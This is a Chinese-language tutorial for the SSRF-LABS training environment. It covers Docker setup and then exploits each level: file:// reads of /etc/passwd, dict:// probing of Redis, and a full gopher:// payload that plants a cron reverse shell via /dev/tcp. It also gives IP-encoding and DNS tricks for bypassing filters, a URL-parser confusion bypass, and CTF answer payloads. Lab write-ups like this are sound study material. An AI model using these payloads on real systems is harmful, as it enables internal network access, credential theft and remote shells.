SSRF-LABS指南

SSRF-LABS指南

前言

在网上找到一个学习SSRF的环境,SSRF-LABS有一个好看又简洁的界面,提供了最基本的REST API和客户端WebHook功能用于SSRF测试。前面只是大概的介绍,知道就好,不用花费过多精力了解。

SSRF介绍

服务端请求伪造,用户通过WEB访问/上传/发出请求,绕过服务器防火墙,获取服务器及其内网信息。SSRF可以说是一个媒介,结合服务器中的服务,常常可以形成一条完整的攻击链。

环境准备

我的环境是Ubuntu16.04,如果使用其他的系统,可能安装docker的方法不同,可以到网上搜一下。下面为安装docker的步骤。

1
2
$ curl -sSL https://get.docker.com/ | sh #脚本安装docker
$ apt install docker-compose #安装docker compose

先按照下面的命令把basic这一关搭建好,其他的基本相同。在创建容器的时候避免出冲突,端口8999在设置要注意,避免与本地已开启端口产生冲突。

1
2
3
4
5
6
$ git clone https://github.com/m6a-UdS/ssrf-lab.git
$ cd ~/ssrf-lab/basics #进入basics文件夹
$ docker build -t ssrf-lab/basic . #构建镜像
$ docker run -d -p 8999:80 ssrf-lab/basic #创建容器
$ docker ps #查看ssrf-lab/basic容器编号
$ docker stop [容器编号] #关闭容器

在Advances系列的文件夹还有ctf中没有dockerfile文件,只有docker-compose.yml文件,这时候我们就要在构建镜像的时候就换docker-compose来创建镜像并开启容器了。

1
2
3
$ cd ~/ssrf-lab/advanced1 # 进入advanced1目录下
$ docker-compose up -d #开启容器
$ docker-compose down #关闭容器

在开启容器的时候的时候出了问题,因为在官网找不到urllib2的下载路径,编辑~/ssrf-lab/advanced2/flask-webserver文件,去掉其中的urllib2。

Part 1:basic

实验过程

打开页面,OUTGOING WEBHOOK部分输入的https://yourhandler.io/events是有REST API监听的需要测试项目,在SEE THE RESULT的部分会显示请求响应的结果和状态码。输入https://yourhandler.io/events的位置就可以作为一个测试点。

我们先用http://127.0.0.1进行测试。

发现数据显示出来了,说明这里没有对内网IP进行限制。

为了进一步进行测试,我们来了解一下URL的结构。

1
scheme://user:pass@host:port/path?query=value#fragment

从结构中我们可以看出不同的SSRF的利用姿势,有协议、URL绕过等等。这一关就尝试从协议入手,用file协议代替http协议或者https协议。在测试点输入file:///etc/passwd我们可以得到用户文件,我们也可以通过这样的方式获得其他文件。

成功之后我们可以通过深挖配置文件和源代码进行我们进一步的渗透,比如获得数据库的用户凭证。这里成功实现是因为URL没有经过严格的过滤,更准确地说应该是完全没经过过滤,下一关不会这么简单了。

SSRF协议中的利用

看了很多教程都是结合Redis服务一起讲的,为了方便介绍下面几个协议,我们先在ssrf-basics容器里面安装该服务。

1
2
3
4
$ docker ps #查看容器编号
$ docker exec -it [ssrf-lab/basics容器编号] /bin/bash #进入容器
$ apt-get install redis-server # 安装redis服务
$ redis-server #开启redis服务

这一关可以利用协议收集信息及反弹shell,都是没用协议白名单的锅,导致多个协议利用起来毫无阻力。

file

上面尝试的过的file:///etc/passwd就是利用了file协议,利用这个协议可以读取主机内任意文件。

dict

利用dict协议,dict://127.0.0.1:6379/info可获取本地redis服务配置信息。

还可以用dict://127.0.0.1:6379/KEYS *获取redis存储的内容

Gopher 协议

通过Gopher协议可以反弹shell,下面为具体的exp

1
gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a

这个看起来不太清晰,urldecode之后,就可以看到具体的命令。下面为解码之后的内容,我把关键的redis指令放到同一行中。

在页面能看到如下的回显

为了验证是否成功了,我在ssrf-lab/basics容器里面查看插入的KEY值。

Part 2:Advance1

实验过程

这一关用了正则表达式限制内网IP的访问,具体的代码如下。必须要吐槽一下,这个方法真的是一个很糟糕的方法,因为它实际上不能起到很好的安全防护作用。

1
2
3
4
5
6
7
if (preg_match('#^https?://#i', $handler) !== 1) {  
echo "Wrong scheme! You can only use http or https!";
die();
} else if (preg_match('#^https?://10.0.0.3#i', $handler) === 1) {
echo "Restricted area!";
die();
}

现在我们就用http://10.0.0.3来测试

我们可以很明显地看到没有获得响应,但是神奇的IP地址有多种表达方式,我们可以用这些方式来绕过上面那么直白的限制。先用整数表达http://167772163发出请求。

成功了,我们可以来看看IP地址的表达方式。众所周知,IP地址是由四个字节组成的,一旦包含了小数点,就必须考虑到大小端表示,因为这个会影响IP地址的解析。不过好在所有的网络地址都是大端表示法,只需要注意这一点即可,下面我们介绍IP地址的表达方式。

1
2
3
4
字符串:       10.0.0.3
二进制: 00001010 . 00000000 . 00000000 . 00000011
十六进制: 0A.00.00.03
整数: 167772163

这些表达方式都能被curl命令解析为正确的IP地址,之后如果我们要访问的IP地址被简单粗暴地过滤了就可以试试这种方法。除了上面的表达方式之外,还可以用16进制0x0A000003表示IP地址,还有一个很少人知道的绕过小姿势,就是用8进制代替10进制来表示IP地址。在计算机的世界里,一旦在20前面加个0就会变成8进制,比如http://01200000003实际上还是http://10.0.0.3。上面两个表达方式,PHP的curl模块能解析出来。

下面总结一下几种变形

1
2
3
十六进制:   http://0x0A.0x00.0x00.0x03
八进制: http://012.00.00.03
八进制溢出:http://265.0.0.3

最后一个变形好像只适用于NodeJS应用的服务器,点分十进制的最大值为255,一旦超出了这个数,将会被重置,这个时候最后一个变形就会变回http://10.0.0.3。具体为什么可以通过这样的可能要从TCP/IP解析IP地址的逻辑入手(应用层的限制总能被巧妙地绕过,不是很可靠)。

其他常见的绕过方法

DNS泛域名

xip.ioxip.name这两个dns泛域名,实现绕过的方法是,你在你想访问的ip地址后面添加这两个泛域名,这两个域名会从你发出的请求中提取你真正想访问的IP地址,然后再响应报文中返回。感兴趣的可以看看DNS服务系列之一:泛域名解析的安全案例

1
2
3
4
5
http://www.10.0.0.3.xip.io
http://mysite.10.0.0.3.xip.io
http://foo.bar.10.0.0.3.xip.io
http://foo.10.0.0.3.xip.name
http://www.10.0.0.3.xip.name

还有很多其他的绕过方式,因为在这个环境里不能实现,所以就不在这里补充了,SSRF漏洞的利用与学习一文中比较全面。没有仔细研究过为什么Python写的后端代码不能实现其他绕过,不过我猜是因为Python的urllib和PHP的curl解析方式不同,如果以后有机会,会深究一下里面到底有什么不同。

Part 2:Advance2

在安装这个环境的时候,一定要注意端口的配置,如果出现了ERROR: Pool overlaps with other one on this address space的报错,可以按照移除docker网络这篇文章进行操作,记得先将docker给关掉。如果之后还有方法可以避免产生这个报错,例如正确地修改配置文件之类的,我会补充在后面。已经尝试过更改docker-compose.yml文件中的端口不起作用了。

这一关为了避免和上一关一样,代码中没有自己实现IP解析的功能,而是选择调用python2.7自带的库函数解析IP地址,具体代码如下:

1
2
3
4
5
6
url=request.form['handler']
host = urlparse.urlparse(url).hostname
if host == 'secret.corp':
return 'Restricted Area!'
else:
return urllib.urlopen(url).read()

上面的代码用了python2.7中的urlparse模块来解析url,该模块能够解析多个协议。获取了url中host参数之后,再对域进行判断。

跟第一个环境一样,我们先用http://secret.corp来测试。

URL解析器分析出这部分内容是访问已被限制的域,下面要介绍一个新的知识点了,我们先来测试一下它能不能起作用。在测试点输入http://google.com# @secret.corp

绕过这个到底是基于什么原理呢?让我们再次回顾一下url的结构

1
scheme://user:pass@host:port/path?query=value#fragment

原来http://google.com# @secret.corp@后面的secret.corp是真正要访问的host,前面的google.com#绕过了urlparse的解析。感觉很神奇而且让人有点摸不着头脑,了解一下原理会好很多。SSRF漏洞产生的根本原因是url中有空格(
CRLF注入),这让python中的两个模块解析url的时候起了冲突,urlparse认为host是google.com,而urllib则认为真正的host是secret.corp并且直接发出了请求。

为了进一步阐述上面漏洞利用的原理,用python写几行代码来验证一下,如果有点混乱,可以再看看上面的源代码,用urlparse解析URL进行判断是先于调用urllib发出请求的。下图为urlparse解析的结果,在python2.7和python3.5两个版本中都是一致的

为了能够进一步验证urllib能否正确接收到,在VPS上输入命令nc -lvvv 9444监听本地9444端口,再按照下面命令通过python发送请求:

1
2
3
4
$ python
$ import urllib
$ url = "http://google.com# @[VPS的IP地址]:9444"
$ urllib.urlopen(url).read()

之后在开启监听端口的服务器可以接收到如下的回显:

验证完毕。

advanced3

advanced3感觉作者代码不完整,感觉像在测试阶段,尝试过修改源代码,但是实际情况并不如我所想。所以这里就不丰富这部分内容了,如果之后作者对这部分题目有修改,我会对这部分内容进行补充。

ctf exp

下面是ctf题目获取flag的方法,因为我我不是亚马逊的服务器,所以获取不了flag,如果想尝试的,可以看看这篇文章

最后这个题目大家可以作为练习,到最后才看payload…..懒人就不重复说前面的内容了,来试试自己掌握了没有吧!

1
2
3
4
1 http://secret1.corp
2 file:///etc/passwd
3 http://10.38 #a000026、167772198
4 http://google.com# @secret3.corp